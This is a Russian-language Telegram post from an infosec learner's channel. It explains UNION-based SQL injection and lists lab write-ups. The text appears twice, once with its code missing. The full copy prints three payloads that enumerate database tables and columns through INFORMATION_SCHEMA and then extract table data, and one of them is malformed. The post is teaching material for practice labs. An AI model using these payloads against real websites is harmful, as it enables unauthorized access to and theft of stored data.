Этот канал посвещен моему пути в сфере Информационной безопасности.
Выкладываю статьи по моим исследованиям, райтапы на лабораторные работы и забавные истории. Присоединяйтесь^3
По всем вопросам можете писать мне в ЛС: @ju57_4_cu63
Post #87
307

Привет^3 😈
Продолжаем копать в сторону
✍️Что такое SQL инъекция
✍️Blind SQL инъекции
Данная инъекция основана на объединении выборки данных с помощью
Если мы нашли уязвимый параметр и поняли, как обрамлять данные(например,
1. Определить количество колонок в оригинальном запросе;
2. Найти колонку, которая отображается на странице;
3. Начать вытаскивать данные о БД с помощью функций типа
Получаем названия БД
Выясняем название колонок
Вытаскиваем данные из таблцицы
Собрав информацию о БД мы можем вытаскивать нужные нам данные. А вот список разборов на лабы с данным типом уязвимости:
✏️SQL injection UNION attack, determining the number of columns returned by the query
✏️SQL injection UNION attack, finding a column containing text
✏️SQL injection UNION attack retrieving data from other tables
✏️SQL injection UNION attack retrieving multiple values in a single column
✏️SQL injection with filter bypass via XML encoding
✏️Visible error-based SQL injection
#web #writeup
@coffee_cube☕
Продолжаем копать в сторону
SQL-инъекций. На очереди UNION based injection. Предыдущие разборы можно посмотреть туть:✍️Что такое SQL инъекция
✍️Blind SQL инъекции
Данная инъекция основана на объединении выборки данных с помощью
UNION.
SELECT column_name FROM table1 UNION SELECT column_name FROM table2;
Если мы нашли уязвимый параметр и поняли, как обрамлять данные(например,
' или ", или вовсе без кавычек), дальше нужно:1. Определить количество колонок в оригинальном запросе;
2. Найти колонку, которая отображается на странице;
3. Начать вытаскивать данные о БД с помощью функций типа
database(), version() и т.д.Получаем названия БД
'-1' UNION SELECT TABLE_NAME, 2 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=database()--+
Выясняем название колонок
'-1' UNION SELECT COLUMN_NAME, 2 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=(SELECT TABLE_NAME, 2 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=database()--+)-- -
Вытаскиваем данные из таблцицы
'-1' UNION SELECT news,2 FROM table_name--+-
Собрав информацию о БД мы можем вытаскивать нужные нам данные. А вот список разборов на лабы с данным типом уязвимости:
✏️SQL injection UNION attack, determining the number of columns returned by the query
✏️SQL injection UNION attack, finding a column containing text
✏️SQL injection UNION attack retrieving data from other tables
✏️SQL injection UNION attack retrieving multiple values in a single column
✏️SQL injection with filter bypass via XML encoding
✏️Visible error-based SQL injection
#web #writeup
@coffee_cube☕
- ❤ 2
- ✍ 1
- ❤🔥 1
- 👍 1
- 🔥 1
- 👨💻 1
























